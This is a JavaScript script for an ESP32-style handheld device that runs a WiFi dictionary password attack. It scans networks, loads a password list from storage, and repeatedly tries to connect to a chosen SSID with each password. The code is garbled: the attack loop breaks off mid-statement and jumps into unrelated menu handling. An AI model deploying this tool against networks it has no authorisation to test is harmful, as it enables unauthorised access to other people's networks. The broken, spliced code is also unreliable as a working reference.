var dialog = require('dialog'); var wifi = require('wifi'); var storage = require('storage'); var keyboard = require('keyboard'); var display = require('display'); var serial = require('serial'); var dialogMessage = dialog.info; var dialogChoice = dialog.choice; var dialogError = dialog.error; var wifiScan = wifi.scan; var wifiConnect = wifi.connect; var wifiDisconnect = wifi.disconnect; var fillScreen = display.fill; var serialPrintln = serial.println; // Wifi dictionary-based attacker // use at your own risk, some devices may lock you out as a security mechanism when spammed with this! function wifiDictAttack(ssid, pwds) { var connected = false; // iterate over the passwords for( var i=0; i use native open+read? if(!passwords_to_try) continue; var raw_passwords = passwords_to_try.split("\n"); passwords_to_try_arr = []; for (var i = 0; i < raw_passwords.length; i++) { var pwd = raw_passwords[i]; pwd = pwd.replace(/\r/g, '').trim(); if (pwd) { passwords_to_try_arr.push(pwd); } } } else if(choice=="attack") { if(!network_to_attack_ssid) { dialogError("no wifi network selected, pls rescan"); continue; } if(passwords_to_try_arr.length == 0) { dialogError("no passwords dict loaded"); continue; } //print("trying attacking network " + networks[i].SSID + " " + networks[i].MAC); dialogMessage("Attacking.."); keyboard.setLongPress(true); wifiDictAttack(network_to_attack_ssid, passwords_to_try_arr); keyboard.setLongPress(false); wifiDisconnect(); // avoid automatic reconnection retry to the last network } // end if attack fillScreen(0); // clear screen } // 2FIX: tries to reconnect? https://github.com/espressif/arduino-esp32/issues/7968